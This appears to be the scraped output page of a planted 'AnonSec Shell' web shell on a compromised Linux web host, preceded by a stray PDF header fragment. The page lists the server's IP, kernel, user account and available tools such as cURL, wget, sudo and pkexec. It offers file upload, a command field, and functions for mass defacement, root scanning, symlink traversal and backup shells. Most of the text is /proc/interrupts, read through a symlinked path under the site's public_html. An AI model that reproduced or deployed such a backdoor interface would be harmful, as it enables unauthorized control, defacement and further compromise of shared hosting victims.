%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.45   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2094/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2094/root/proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:         13          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0         15          0          0   IO-APIC   1-edge      i8042
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:         30          0          0          0         16          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 16:        195        243         62       6527       1196       5024       3583      11067   IO-APIC  16-fasteoi   vmwgfx
 17:    1891204    2535528    2306953    3470562    2074506    3615680    3685305    4878591   IO-APIC  17-fasteoi   ioc0
 24:          0          0          0          0          0          0          0          0   PCI-MSI 344064-edge      PCIe PME, pciehp
 25:          0          0          0          0          0          0          0          0   PCI-MSI 346112-edge      PCIe PME, pciehp
 26:          0          0          0          0          0          0          0          0   PCI-MSI 348160-edge      PCIe PME, pciehp
 27:          0          0          0          0          0          0          0          0   PCI-MSI 350208-edge      PCIe PME, pciehp
 28:          0          0          0          0          0          0          0          0   PCI-MSI 352256-edge      PCIe PME, pciehp
 29:          0          0          0          0          0          0          0          0   PCI-MSI 354304-edge      PCIe PME, pciehp
 30:          0          0          0          0          0          0          0          0   PCI-MSI 356352-edge      PCIe PME, pciehp
 31:          0          0          0          0          0          0          0          0   PCI-MSI 358400-edge      PCIe PME, pciehp
 32:          0          0          0          0          0          0          0          0   PCI-MSI 360448-edge      PCIe PME, pciehp
 33:          0          0          0          0          0          0          0          0   PCI-MSI 362496-edge      PCIe PME, pciehp
 34:          0          0          0          0          0          0          0          0   PCI-MSI 364544-edge      PCIe PME, pciehp
 35:          0          0          0          0          0          0          0          0   PCI-MSI 366592-edge      PCIe PME, pciehp
 36:          0          0          0          0          0          0          0          0   PCI-MSI 368640-edge      PCIe PME, pciehp
 37:          0          0          0          0          0          0          0          0   PCI-MSI 370688-edge      PCIe PME, pciehp
 38:          0          0          0          0          0          0          0          0   PCI-MSI 372736-edge      PCIe PME, pciehp
 39:          0          0          0          0          0          0          0          0   PCI-MSI 374784-edge      PCIe PME, pciehp
 40:          0          0          0          0          0          0          0          0   PCI-MSI 376832-edge      PCIe PME, pciehp
 41:          0          0          0          0          0          0          0          0   PCI-MSI 378880-edge      PCIe PME, pciehp
 42:          0          0          0          0          0          0          0          0   PCI-MSI 380928-edge      PCIe PME, pciehp
 43:          0          0          0          0          0          0          0          0   PCI-MSI 382976-edge      PCIe PME, pciehp
 44:          0          0          0          0          0          0          0          0   PCI-MSI 385024-edge      PCIe PME, pciehp
 45:          0          0          0          0          0          0          0          0   PCI-MSI 387072-edge      PCIe PME, pciehp
 46:          0          0          0          0          0          0          0          0   PCI-MSI 389120-edge      PCIe PME, pciehp
 47:          0          0          0          0          0          0          0          0   PCI-MSI 391168-edge      PCIe PME, pciehp
 48:          0          0          0          0          0          0          0          0   PCI-MSI 393216-edge      PCIe PME, pciehp
 49:          0          0          0          0          0          0          0          0   PCI-MSI 395264-edge      PCIe PME, pciehp
 50:          0          0          0          0          0          0          0          0   PCI-MSI 397312-edge      PCIe PME, pciehp
 51:          0          0          0          0          0          0          0          0   PCI-MSI 399360-edge      PCIe PME, pciehp
 52:          0          0          0          0          0          0          0          0   PCI-MSI 401408-edge      PCIe PME, pciehp
 53:          0          0          0          0          0          0          0          0   PCI-MSI 403456-edge      PCIe PME, pciehp
 54:          0          0          0          0          0          0          0          0   PCI-MSI 405504-edge      PCIe PME, pciehp
 55:          0          0          0          0          0          0          0          0   PCI-MSI 407552-edge      PCIe PME, pciehp
 56:          0          0  129602258   15377804  100369942   11772431       1971   12219593   PCI-MSI 1572864-edge      ens160-rxtx-0
 57:    2471351    3425151     910968    4869289     701549    5781305    3196155    5985447   PCI-MSI 1572865-edge      ens160-rxtx-1
 58:    2684154    7911762     934981    2612381    2146800    4260226    2946471    4421714   PCI-MSI 1572866-edge      ens160-rxtx-2
 59:    4657814    2809216    3451475    4393522     974741    3979792    2408357    3943098   PCI-MSI 1572867-edge      ens160-rxtx-3
 60:    3263325    2048263    3002693    4294642    2233978    4443181    4124546    3961929   PCI-MSI 1572868-edge      ens160-rxtx-4
 61:    2572227    3005930     334751    2735918    3589384    5420934    3895550    5207898   PCI-MSI 1572869-edge      ens160-rxtx-5
 62:          0    2708890     203854    4129201    4306690    5551710    3740404    6666827   PCI-MSI 1572870-edge      ens160-rxtx-6
 63:    9626668    2848252    3048927    2126675    2292314    2157050    4472501    2423920   PCI-MSI 1572871-edge      ens160-rxtx-7
 64:          0          0          0          0          0          0          0          0   PCI-MSI 1572872-edge      ens160-event-8
 65:       3519      42089       8543     373534      42870     157758     151802     508654   PCI-MSI 1048576-edge      ahci[0000:02:00.0]
 66:          0          0         35          0          0          0     399608          0   PCI-MSI 129024-edge      vmw_vmci
 67:          0          0          0          0          0          0          0          0   PCI-MSI 129025-edge      vmw_vmci
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  141383866  323111265  212888117  173164364  159012355  157781113  240116823  153202211   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          1          2          0          2          0          1          1          2   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    2947494    2217737    2654578    2845787    2894311    2821425    2586357    2819470   Rescheduling interrupts
CAL:  103859670  121646125  119011384  114381027  109581687  109753101  111789906  106170151   Function call interrupts
TLB:    1185879    1508138    1477463    1370913    1284701    1224046    1299328    1266866   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       8290       8291       8291       8291       8291       8291       8291       8291   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team